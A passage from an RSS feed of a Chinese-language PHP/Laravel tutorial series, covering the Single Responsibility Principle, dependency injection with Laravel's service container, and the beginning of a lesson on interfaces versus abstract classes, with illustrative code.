        $mailer-&gt;send($orderData[<span class="hljs-string">'email'</span>], <span class="hljs-string">"Order Placed!"</span>);

        <span class="hljs-comment">// 5. 格式化邏輯</span>
        <span class="hljs-keyword">return</span> json_encode([<span class="hljs-string">'status'</span> =&gt; <span class="hljs-string">'success'</span>, <span class="hljs-string">'total'</span> =&gt; $total]);
    }
}
</code></pre>
<h2 id="heading-kirngrrku4dpurzpgjnmqkpkui3lpb3vvj8qkg"><strong>為什麼這樣不好？</strong></h2>
<p>這個 <code>OrderService</code> 有 5 個改變的理由：</p>
<ol>
<li><p>行銷部門想改「滿千送百」規則 ➡️ 要改這個 Class。</p>
</li>
<li><p>IT 部門想換資料庫 ORM ➡️ 要改這個 Class。</p>
</li>
<li><p>營運部門想改 Email 標題 ➡️ 要改這個 Class。</p>
</li>
<li><p>前端要求 API 格式改變 ➡️ 要改這個 Class。</p>
</li>
<li><p>驗證規則變嚴格 ➡️ 要改這個 Class。</p>
</li>
</ol>
<p>這導致了「低內聚」與「高耦合」。改 A 壞 B 的風險極高。</p>
<p>這種寫法在功能「第一次完成時」通常最快，但在需求開始變動後，維護成本會呈指數成長。</p>
<h2 id="heading-6yen5qel5am5oiw77ya6ig36lks5yig6zui">重構實戰：職責分離</h2>
<p>我們將上述的「大雜燴」拆解成數個專職的類別。</p>
<h3 id="heading-extract-class">步驟一：拆分職責 (Extract Class)</h3>
<ol>
<li><p><strong>Validator</strong>: 負責檢查資料。</p>
</li>
<li><p><strong>PriceCalculator</strong>: 負責商業邏輯（計算金額、折扣）。</p>
</li>
<li><p><strong>OrderRepository</strong>: 負責與資料庫溝通。</p>
</li>
<li><p><strong>NotificationService</strong>: 負責寄信。</p>
</li>
</ol>
<p>此時的 OrderService 仍然「有一個職責」：協調訂單建立的流程。 SRP 並不要求「沒有邏輯」，而是要求「邏輯的角色單一」。</p>
<h3 id="heading-orderservice">步驟二：重組 OrderService</h3>
<p>現在的 <code>OrderService</code> 不再親自做所有事情，而是變成一個 <strong>指揮官</strong>。</p>
<pre><code class="lang-php"><span class="hljs-keyword">namespace</span> <span class="hljs-title">App</span>\<span class="hljs-title">Services</span>;

<span class="hljs-keyword">use</span> <span class="hljs-title">App</span>\<span class="hljs-title">Validators</span>\<span class="hljs-title">OrderValidator</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">App</span>\<span class="hljs-title">Calculators</span>\<span class="hljs-title">PriceCalculator</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">App</span>\<span class="hljs-title">Repositories</span>\<span class="hljs-title">OrderRepository</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">App</span>\<span class="hljs-title">Services</span>\<span class="hljs-title">NotificationService</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OrderService</span>
</span>{

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">
        <span class="hljs-keyword">private</span> readonly OrderValidator $validator,
        <span class="hljs-keyword">private</span> readonly PriceCalculator $calculator,
        <span class="hljs-keyword">private</span> readonly OrderRepository $repository,
        <span class="hljs-keyword">private</span> readonly NotificationService $notifier
    </span>) </span>{

    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">placeOrder</span>(<span class="hljs-params"><span class="hljs-keyword">array</span> $orderData</span>)
    </span>{
        <span class="hljs-comment">// 1. 驗證</span>
        <span class="hljs-keyword">$this</span>-&gt;validator-&gt;validate($orderData);

        <span class="hljs-comment">// 2. 計算</span>
        $order = <span class="hljs-keyword">$this</span>-&gt;calculator-&gt;calculateTotal($orderData);

        <span class="hljs-comment">// 3. 儲存</span>
        $savedOrder = <span class="hljs-keyword">$this</span>-&gt;repository-&gt;save($order);

        <span class="hljs-comment">// 4. 通知</span>
        <span class="hljs-keyword">$this</span>-&gt;notifier-&gt;sendOrderConfirmation($savedOrder);

        <span class="hljs-keyword">return</span> $savedOrder;
    }
}
</code></pre>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>優點</strong></td><td><strong>說明</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>可讀性 (Readability)</strong></td><td><code>placeOrder</code> 方法現在讀起來像是一個清楚的「流程圖」，而不是一堆細節程式碼。</td></tr>
<tr>
<td><strong>可維護性 (Maintainability)</strong></td><td>行銷要改折扣規則？你只需要去 <code>PriceCalculator</code> 修改，完全不用擔心會弄壞 <code>Database</code> 的程式碼。</td></tr>
<tr>
<td><strong>可重用性 (Reusability)</strong></td><td><code>NotificationService</code> 可以被其他功能（如「註冊成功」）重複使用，因為它不再綁死在訂單邏輯裡。</td></tr>
<tr>
<td><strong>可測試性 (Testability)</strong></td><td>你可以輕鬆地針對 <code>PriceCalculator</code> 寫單元測試，而不需要真的連線資料庫或寄出 Email。</td></tr>
</tbody>
</table>
</div><h2 id="heading-srp-1">常見誤區：SRP 不等於「碎屍萬段」</h2>
<p>在學習 SRP 時，最容易犯的錯誤就是 「拆分過細」 (Over-engineering)。</p>
<ul>
<li><p>錯誤觀念： 每個 Function 只能寫一行程式碼，或者每個 Class 只能有一個 Function。</p>
</li>
<li><p>正確觀念： 內聚性是關鍵。如果兩個功能總是「一起被使用」且「一起被修改」，它們就應該在一起。</p>
</li>
</ul>
<p>判斷標準： 問自己：「這個類別是否負責了不同的角色 (Actors) 的需求？」 如果一個類別同時包含了「會計需要的邏輯」和「DBA 需要的邏輯」，那就是違反 SRP。</p>
]]></content:encoded></item><item><title><![CDATA[Lesson 15: 解耦的關鍵 - 依賴注入 (DI) 與 IoC Container]]></title><description><![CDATA[從這一章開始，我們要從「把功能做出來 (Make it work)」進階到「把程式寫好 (Make it right)」。而區分 Rookie 與 Junior 最明顯的分水嶺，就在於是否懂得 「解耦 (Decoupling)」。
什麼是「耦合」
想像買了一台桌機，但它的滑鼠是「焊死」在主機板上的。如果想換成電競滑鼠？抱歉，要把整台主機板拆換掉。如果滑鼠壞了？抱歉，整台電腦送修。
這就是 「高耦合」。
在程式碼中，最常見的高耦合就是 在類別內部直接 new 另一個物件。
範例
假設我們有一個 O...]]></description><link>https://blog.bennett1999.com/lesson-15-di-ioc-container</link><guid isPermaLink="true">https://blog.bennett1999.com/lesson-15-di-ioc-container</guid><category><![CDATA[dependency injection]]></category><category><![CDATA[ioc container]]></category><category><![CDATA[SOLID principles]]></category><category><![CDATA[oop]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Wed, 17 Dec 2025 15:01:44 GMT</pubDate><content:encoded><![CDATA[<p>從這一章開始，我們要從「把功能做出來 (Make it work)」進階到「把程式寫好 (Make it right)」。而區分 Rookie 與 Junior 最明顯的分水嶺，就在於是否懂得 「解耦 (Decoupling)」。</p>
<h1 id="heading-5lua6bq85piv44cm6icm5zci44cn">什麼是「耦合」</h1>
<p>想像買了一台桌機，但它的滑鼠是「焊死」在主機板上的。如果想換成電競滑鼠？抱歉，要把整台主機板拆換掉。如果滑鼠壞了？抱歉，整台電腦送修。</p>
<p>這就是 「高耦合」。</p>
<p>在程式碼中，最常見的高耦合就是 在類別內部直接 <code>new</code> 另一個物件。</p>
<h3 id="heading-56e5l6l">範例</h3>
<p>假設我們有一個 <code>OrderService</code> (訂單服務)，它在結帳後需要寄信通知用戶：</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GmailService</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">send</span>(<span class="hljs-params">$msg</span>) </span>{
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"使用 Gmail 寄出: <span class="hljs-subst">$msg</span>"</span>;
    }
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OrderService</span> </span>{
    <span class="hljs-keyword">private</span> $mailer;

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-comment">// ❌ 在這裡直接綁死了 GmailService</span>
        <span class="hljs-comment">// OrderService 現在對 GmailService 有「強依賴」</span>
        <span class="hljs-keyword">$this</span>-&gt;mailer = <span class="hljs-keyword">new</span> GmailService();
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">processOrder</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-comment">// 處理訂單...</span>
        <span class="hljs-keyword">$this</span>-&gt;mailer-&gt;send(<span class="hljs-string">"訂單成立"</span>);
    }
}
</code></pre>
<p>這個寫法的災難點：</p>
<ol>
<li><p>難以抽換：如果明天老闆說：「Gmail 太貴了，換成 AWS SES。」你需要打開所有用到 <code>GmailService</code> 的檔案，一行一行改。</p>
</li>
<li><p>難以測試：當寫單元測試 (Unit Test) 時，想測試 <code>OrderService</code> 的邏輯，但程式碼一跑就會真的去連 Gmail。無法把 Gmail 替換成一個「假的、不會真的寄信」的測試物件。</p>
</li>
</ol>
<h1 id="heading-dependency-injection-di">救星登場：依賴注入 (Dependency Injection, DI)</h1>
<p>DI 的核心原則是「依賴反轉 (DIP)」：</p>
<ol>
<li><p>高層模組不應該依賴於低層模組，它們應該依賴於抽象。</p>
</li>
<li><p>抽象不應該依賴於細節，細節應該依賴於抽象。</p>
</li>
</ol>
<p>依賴反轉原則是將高層模組的實現從低層模組中抽象出來，這樣可以使高層模組和低層模組解耦，從而提高系統的靈活性、可維護性和可擴展性。</p>
<p>聽起來很複雜，但核心觀念只有一句話： 「不要自己造工具，讓別人把工具傳進去。」</p>
<p>我們把 <code>new</code> 的動作拿掉，改成從 <code>__construct</code> (建構子) 接收物件。</p>
<h2 id="heading-56e5l6l-1">範例</h2>
<h3 id="heading-5ps56imv56ys5lia5q2l77ya5roo5ywl5yw36auu6age5yil">改良第一步：注入具體類別</h3>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OrderService</span> </span>{
    <span class="hljs-keyword">private</span> $mailer;

    <span class="hljs-comment">// ✅ 改由外部「注入」進來</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">GmailService $mailer</span>) </span>{
        <span class="hljs-keyword">$this</span>-&gt;mailer = $mailer;
    }
}
</code></pre>
<p>這樣好了一點，至少 <code>OrderService</code> 不用自己 <code>new</code> 了。但在型別宣告上，我們還是寫死了 <code>GmailService</code>。</p>
<h3 id="heading-interface">配合 Interface 注入</h3>
<p>為了徹底解耦，我們需要引入上一篇提到的 Interface</p>
<p>依賴注入 是「手段」，而介面 與抽象 是讓這個手段能發揮最大效果的「前提」。</p>
<ol>
<li><p>定義介面 (制定規格)：PHP</p>
<pre><code class="lang-php"> <span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">MailerInterface</span> </span>{
     <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">send</span>(<span class="hljs-params">$msg</span>)</span>;
 }
</code></pre>
</li>
<li><p>實作介面 (廠商製造符合規格的產品)：PHP</p>
<pre><code class="lang-php"> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GmailService</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">MailerInterface</span> </span>{ ... }
 <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AwsSesService</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">MailerInterface</span> </span>{ ... }
</code></pre>
</li>
<li><p>依賴注入 (只認規格，不認廠商)：PHP</p>
<pre><code class="lang-php"> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OrderService</span> </span>{
     <span class="hljs-keyword">private</span> $mailer;

     <span class="hljs-comment">// ✅ 重點：這裡 Type Hint 寫的是 Interface，不是具體 Class</span>
     <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">MailerInterface $mailer</span>) </span>{
         <span class="hljs-keyword">$this</span>-&gt;mailer = $mailer;
     }

     <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">processOrder</span>(<span class="hljs-params"></span>) </span>{
         <span class="hljs-keyword">$this</span>-&gt;mailer-&gt;send(<span class="hljs-string">"訂單成立"</span>);
     }
 }
</code></pre>
</li>
<li><p>現在，<code>OrderService</code> 不知道也不在乎它是用 Gmail 還是 AWS，它只知道傳進來的東西「有一個 send 方法」可以用。這就達成了 解耦。</p>
<h2 id="heading-56e5l6l-2">範例</h2>
<pre><code class="lang-php"> <span class="hljs-comment">// 定義 UserRepository 介面</span>
 <span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">UserRepository</span> </span>{
     <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">saveUser</span>(<span class="hljs-params">$user</span>)</span>;
     <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getUser</span>(<span class="hljs-params">$id</span>)</span>;
 }

 <span class="hljs-comment">// 實現 UserRepository 介面，使用 MySQL 存儲用戶資料</span>
 <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MysqlUserRepository</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">UserRepository</span> </span>{
     <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">saveUser</span>(<span class="hljs-params">$user</span>) </span>{
         <span class="hljs-comment">// 將用戶資料存儲到 MySQL 資料庫中</span>
         <span class="hljs-comment">// ...</span>
     }
     <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getUser</span>(<span class="hljs-params">$id</span>) </span>{
         <span class="hljs-comment">// 從 MySQL 資料庫中獲取用戶資料</span>
         <span class="hljs-comment">// ...</span>
     }
 }

 <span class="hljs-comment">// UserController 類別依賴 UserRepository 介面</span>
 <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">UserController</span> </span>{
     <span class="hljs-keyword">private</span> $userRepository;
     <span class="hljs-comment">//這裡依賴注入 透過UserRepository Interface所產生的repository</span>
     <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">UserRepository $userRepository</span>) </span>{
         <span class="hljs-keyword">$this</span>-&gt;userRepository = $userRepository;
     }
     <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">registerUser</span>(<span class="hljs-params">$userData</span>) </span>{
         <span class="hljs-comment">// 驗證用戶資料</span>
         <span class="hljs-comment">// ...</span>
         <span class="hljs-comment">// 將用戶資料存儲到資料庫中</span>
         <span class="hljs-keyword">$this</span>-&gt;userRepository-&gt;saveUser($userData);
         <span class="hljs-comment">// 發送註冊成功的通知</span>
         <span class="hljs-comment">// ...</span>
     }
     <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getUser</span>(<span class="hljs-params">$id</span>) </span>{
         <span class="hljs-comment">// 根據用戶 ID 獲取用戶資料</span>
         $user = <span class="hljs-keyword">$this</span>-&gt;userRepository-&gt;getUser($id);
         <span class="hljs-comment">// 返回用戶資料</span>
         <span class="hljs-keyword">return</span> $user;
     }
 }

 <span class="hljs-comment">// 建立 MySQLUserRepository 並注入到 UserController 中</span>
 $userController = <span class="hljs-keyword">new</span> UserController( <span class="hljs-keyword">new</span> MySQLUserRepository() );
 $userController-&gt;getUser(<span class="hljs-number">123</span>);
</code></pre>
<p> 在這個例子中，使用了依賴注入的手法(模式)來達到依賴反轉的核心概念。</p>
<p> <code>UserController</code> 類別依賴 <code>UserRepository</code> 介面，而不是具體的資料存儲實現。</p>
<p> 這樣，當需要更改資料存儲方式時，只需要創建一個新的實現，並將其注入到 <code>UserController</code> 類別中即可。這符合依賴反轉原則。</p>
<h2 id="heading-ioc-container">什麼是 IoC Container (控制反轉容器)</h2>
<p> 可能會有疑惑：「原本在裡面 <code>new</code> 很方便，現在改成 DI，變成我在使用 <code>OrderService</code> 的時候，要自己手動 <code>new</code> 依賴傳進去，豈不是很麻煩？」</p>
<p> 手動注入的痛苦 (Dependency Hell)：</p>
<pre><code class="lang-php"> <span class="hljs-comment">// 如果 OrderService 依賴 Mailer，Mailer 又依賴 Logger...</span>
 $logger = <span class="hljs-keyword">new</span> FileLogger();
 $mailer = <span class="hljs-keyword">new</span> GmailService($logger);
 $orderService = <span class="hljs-keyword">new</span> OrderService($mailer); <span class="hljs-comment">// 累死人</span>
</code></pre>
<p> 這時候就需要 IoC Container (在 Laravel 中稱為 Service Container)。</p>
<p> 它就像是一個 「超級管家」 或 「自動工廠」。只需要設定一次配置，之後它會自動解決所有的依賴關係。</p>
<h3 id="heading-ioc">IoC 控制反轉的意思：</h3>
<ul>
<li><p>原本：控制權在 <code>OrderService</code> 手上，它主動去 <code>new</code> 依賴。</p>
</li>
<li><p>現在：控制權交給了 <code>Container</code>，Container 決定要給 <code>OrderService</code> 什麼物件。</p>
</li>
</ul>
</li>
</ol>
<h3 id="heading-laravel-service-provider">Laravel 中的實戰 (Service Provider)</h3>
<p>    在 Laravel，我們通常在 <code>AppServiceProvider</code> 告訴管家該怎麼做：</p>
<pre><code class="lang-php">    <span class="hljs-comment">// app/Providers/AppServiceProvider.php</span>

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">register</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-comment">// 告訴 Laravel：</span>
        <span class="hljs-comment">// 當有人要 MailerInterface 時，請給他 AwsSesService 的實例</span>
        <span class="hljs-keyword">$this</span>-&gt;app-&gt;bind(MailerInterface::class, AwsSesService::class);
    }
</code></pre>
<p>    之後在 Controller 或其他地方使用時：</p>
<pre><code class="lang-php">    <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OrderController</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Controller</span> </span>{
        <span class="hljs-comment">// Laravel 的魔法：自動依賴注入 (Auto-wiring)</span>
        <span class="hljs-comment">// 不需要自己 new，Laravel 會知道需要 OrderService</span>
        <span class="hljs-comment">// 然後自動去解析 OrderService 需要 MailerInterface</span>
        <span class="hljs-comment">// 然後自動 new 出 AwsSesService 塞進去</span>
        <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">store</span>(<span class="hljs-params">OrderService $service</span>) </span>{
            $service-&gt;processOrder();
        }
    }
</code></pre>
<h3 id="heading-ioc-1">IOC + 建構子依賴注入範例</h3>
<pre><code class="lang-php">    <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ChatService</span>
    </span>{
        <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">
            <span class="hljs-keyword">private</span> readonly UserRepository                $userRepository,
            <span class="hljs-keyword">private</span> readonly MessageRepository                $messageRepository,
        </span>)
        </span>{
        }
    }
</code></pre>
<p>    Q：沒有在 Controller 裡 new ChatService，也沒有手動傳那些 Repository 進去，那它們到底是怎麼出現的？</p>
<p>    A：Laravel 的 Service Container (服務容器) 利用 PHP 的 Reflection (反射機制) 自動完成的。</p>
<h3 id="heading-reflection">Reflection</h3>
<p>    Laravel 著使用 PHP 內建的 Reflection API 去「偷看」程式碼結構。</p>
<ol>
<li><p>檢查 Controller： Laravel 檢查 <code>sendMessage</code> 方法，發現參數裡有一個型別提示 (Type Hint) 寫著 <code>ChatService</code>。 Laravel 心想：「好，這個工程師需要 <code>ChatService</code>，我得幫他生一個出來。」</p>
</li>
<li><p>檢查 Service (遞迴解析)： Laravel 準備去 <code>new ChatService</code>，但在這之前，它會先去偷看 <code>ChatService</code> 的 <code>__construct</code> (建構子)。PHP</p>
<p> 它看到了：</p>
<pre><code class="lang-php"> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">
         <span class="hljs-keyword">private</span> readonly UserRepository                $userRepository,
         <span class="hljs-keyword">private</span> readonly MessageRepository                $messageRepository,
 </span>)
 </span>{
 }
</code></pre>
<p> Laravel 驚覺：「哇，要製造 <code>ChatService</code> 之前，我得先製造 <code>UserRepository</code> 和 <code>MessageRepository</code>才行！」</p>
</li>
<li><p>檢查 Repository (繼續遞迴)： Laravel 接著去看 <code>UserRepository</code> 的 <code>__construct</code>。</p>
<ul>
<li><p>如果 <code>UserRepository</code> 沒有依賴其他東西，Laravel 就直接 <code>new UserRepository()</code>。</p>
</li>
<li><p>如果它還有依賴，Laravel 就繼續往下挖（這就是遞迴）。</p>
</li>
</ul>
</li>
</ol>
<p>    <strong>組裝與回傳</strong></p>
<p>    當 Laravel 把最底層的零件都做出來後，它就開始一層一層往回組裝：</p>
<ol>
<li><p>先把 <code>UserRepository</code>, <code>MessageRepository</code>... 全部 <code>new</code> 好。</p>
</li>
<li><p>把這些 Repository 塞進 <code>new ChatService(這裡是剛做好的 Repositories)</code>。</p>
</li>
<li><p>把做好的 <code>$chatService</code> 物件，塞進 <code>sendMessage($request, $chatService)</code>。</p>
</li>
<li><p>最後，執行 Controller 程式碼。</p>
</li>
</ol>
<p>    這整個過程發生在 毫秒之間，而且完全自動化。這就是為什麼我們說 Laravel 的 Container 是一個強大的 「自動依賴解析器 (Automatic Dependency Resolution)」。</p>
<h3 id="heading-5lua6bq85pmc5ycz44cm6ieq5yuv5roo5ywl44cn5pyd5asx5pwi">什麼時候「自動注入」會失效</h3>
<p>    如果這樣寫：</p>
<p>    PHP</p>
<pre><code class="lang-php">    <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ChatService</span> </span>{
        <span class="hljs-comment">// 這裡依賴的是介面，不是具體類別</span>
        <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">UserRepositoryInterface $repo</span>) </span>{ ... }
    }
</code></pre>
<p>    這時 Laravel 的 Reflection 會卡住：「呃... <code>UserRepositoryInterface</code> 只是一個合約，它不是一個可以 <code>new</code> 的類別啊！我到底要給他 <code>SqlUserRepository</code> 還是 <code>MongoUserRepository</code>？」</p>
<p>    這時候，就必須在 <code>AppServiceProvider</code> 裡手動告訴 Laravel：</p>
<pre><code class="lang-php">    <span class="hljs-comment">// app/Providers/AppServiceProvider.php</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">register</span>(<span class="hljs-params"></span>)
    </span>{
        <span class="hljs-comment">// 告訴 Laravel：只要有人討要在 UserRepositoryInterface</span>
        <span class="hljs-comment">// 請給他 UserRepository (具體的實作)</span>
        <span class="hljs-keyword">$this</span>-&gt;app-&gt;bind(UserRepositoryInterface::class, UserRepository::class);
    }
</code></pre>
<p>    只要加了這行設定，自動注入的魔法鏈就能繼續運作下去了。</p>
]]></content:encoded></item><item><title><![CDATA[Lesson 14: 物件導向的靈魂-介面與抽象類別]]></title><description><![CDATA[很多剛轉職或自學的工程師，最討厭看到的兩個關鍵字就是 interface 和 abstract。
心中一定有過這個疑問：「為什麼要寫一個『空的』函式放在那邊？直接把程式碼寫在 Class 裡面不好嗎？」
這堂課我們要來解開這個誤會。這不是為了增加程式碼行數，而是為了 「多型 (Polymorphism)」 與 「抽換 (Swap)」 的彈性。
繼承的盲點：為什麼不能只用 extends
假設我們在做一個「物流系統」，有「黑貓 (BlackCat)」和「新竹物流 (HCT)」。 直覺寫法通常是這樣...]]></description><link>https://blog.bennett1999.com/interface-abstract-class</link><guid isPermaLink="true">https://blog.bennett1999.com/interface-abstract-class</guid><category><![CDATA[interface]]></category><category><![CDATA[abstract class]]></category><category><![CDATA[PHP]]></category><category><![CDATA[Laravel]]></category><category><![CDATA[backend]]></category><category><![CDATA[software development]]></category><category><![CDATA[SOLID principles]]></category><category><![CDATA[oop]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Tue, 16 Dec 2025 17:46:54 GMT</pubDate><content:encoded><![CDATA[<p>很多剛轉職或自學的工程師，最討厭看到的兩個關鍵字就是 <code>interface</code> 和 <code>abstract</code>。</p>
<p>心中一定有過這個疑問：「為什麼要寫一個『空的』函式放在那邊？直接把程式碼寫在 Class 裡面不好嗎？」</p>
<p>這堂課我們要來解開這個誤會。這不是為了增加程式碼行數，而是為了 「多型 (Polymorphism)」 與 「抽換 (Swap)」 的彈性。</p>
<h1 id="heading-extends">繼承的盲點：為什麼不能只用 <code>extends</code></h1>
<p>假設我們在做一個「物流系統」，有「黑貓 (BlackCat)」和「新竹物流 (HCT)」。 直覺寫法通常是這樣：</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BlackCat</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ship</span>(<span class="hljs-params">$parcel</span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-string">"黑貓已運送包裹: "</span> . $parcel;
    }
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HCT</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ship</span>(<span class="hljs-params">$parcel</span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-string">"新竹物流已運送包裹: "</span> . $parcel;
    }
}
</code></pre>
<p>Service中可能就長這樣</p>
<pre><code class="lang-php"><span class="hljs-comment">// 如果今天是黑貓</span>
$logistic = <span class="hljs-keyword">new</span> BlackCat();
$logistic-&gt;ship(<span class="hljs-string">'iPhone 15'</span>);

<span class="hljs-comment">// 如果明天老闆說要換成新竹物流</span>
<span class="hljs-comment">// 你得把所有用到 BlackCat 的地方，全部改成 HCT</span>
<span class="hljs-comment">// 萬一 HCT 的方法不叫 ship() 叫做 send() 怎麼辦？這就是災難。</span>
</code></pre>
<p>這時候，我們需要「規範」。</p>
<h1 id="heading-5lul6z2iio8muwumueqeoajoihjoecuueahowqioe0hooajq">介面 ：定義「行為的合約」</h1>
<p><strong>I</strong>nterface 像是一個 USB 插孔的規格。 電腦不在乎插進來的是滑鼠、鍵盤還是隨身碟，它只在乎「你插得進去」且「你可以運作」。</p>
<ul>
<li><p>Interface 只管 「你能做什麼」，不管你 「你是誰」。</p>
</li>
<li><p>Interface是一種型別契約，他只包含方法的簽名，沒有實現邏輯。</p>
</li>
<li><p>一個類別可以實現多個Interface，但必須實現所有Interface中定義的方法</p>
</li>
<li><p>Interface會強制實現某些方式，確保類別具有特定的行為，使用Interface可以更加清晰的定義類別的職責</p>
</li>
</ul>
<blockquote>
<p>注：方法的簽名：指方法的 名稱、參數列表，以及（若有）回傳型別，不包含具體實作邏輯。</p>
</blockquote>
<h2 id="heading-interface">實作 Interface</h2>
<p>我們定義一個物流介面，規定大家都必須有一個 <code>ship</code> 方法：</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">LogisticInterface</span> </span>{
    <span class="hljs-comment">// 介面裡的方法不能有內容，只能定義名稱跟參數</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ship</span>(<span class="hljs-params">$parcel</span>)</span>;
}
</code></pre>
<p>接著讓兩家物流公司都 <strong>遵守implements</strong>：</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BlackCat</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">LogisticInterface</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ship</span>(<span class="hljs-params">$parcel</span>) </span>{
        <span class="hljs-comment">// 實作黑貓的邏輯</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"黑貓運送: "</span> . $parcel;
    }
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HCT</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">LogisticInterface</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ship</span>(<span class="hljs-params">$parcel</span>) </span>{
        <span class="hljs-comment">// 實作新竹物流的邏輯</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"新竹物流運送: "</span> . $parcel;
    }
}
</code></pre>
<pre><code class="lang-php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">processOrder</span>(<span class="hljs-params">LogisticInterface $logistic, $parcel</span>) </span>{
    <span class="hljs-comment">// 我不在乎 $logistic 是黑貓還是新竹物流</span>
    <span class="hljs-comment">// 我只知道它一定有 ship() 方法，因為它簽了合約 (Interface)</span>
    $logistic-&gt;ship($parcel);
}
</code></pre>
<p>這就是 <strong>多型 (Polymorphism)</strong> 的威力。</p>
<h1 id="heading-abstract-class">抽象類別 Abstract Class：提取「共同的邏輯」</h1>
<p>那 <code>Abstract Class</code> 又是什麼？</p>
<p>如果 <code>Interface</code> 是為了規範「外部行為」，那 <code>Abstract Class</code> 就是為了 <strong>「減少內部重複的程式碼」</strong>。</p>
<ul>
<li><p>抽象類別無法被實例化，只能用於繼承</p>
</li>
